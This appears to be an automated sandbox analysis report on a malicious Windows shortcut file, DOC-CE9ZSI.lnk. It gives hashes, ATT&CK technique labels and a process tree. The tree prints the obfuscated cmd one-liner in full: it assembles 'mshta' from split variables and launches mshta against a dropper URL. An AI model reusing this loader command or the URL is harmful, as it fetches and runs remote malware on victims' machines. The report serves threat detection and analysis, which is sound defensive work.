964361d9009df8a97f70390831bf29449eba8dca0a78b6b27973b565f273435e

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-CE9ZSI.lnk
Size 1KB
Sample260804-j9fqsavejh
SHA256 964361d9009df8a97f70390831bf29449eba8dca0a78b6b27973b565f273435e
MD5 247bb0255627e62fa5116e70b776e4f0
SHA1 a2d013b688b4c6455ea9c832dc1d5ec275aea9be
SHA512 81e5092e692c654b7ffbc6ee52cb5b49e25e79217fdf724909c1ab9b8ac187c251ad98206695c7d0eeb653b878b2dc510bf77a00bf52db5f069df31e4be281ff
TLSH
T1F53147503FFD0664F3B38E7794BB572485BFB9568D20CA2E0141454C5432A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1004	cmd.exe
3980	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 3980	1004	cmd.exe	90
PID 3980 wrote to memory of 5160	3980	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CE9ZSI.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1004
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set WyWq=msh&&set Vd=ta&&start "" !WyWq!!Vd! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads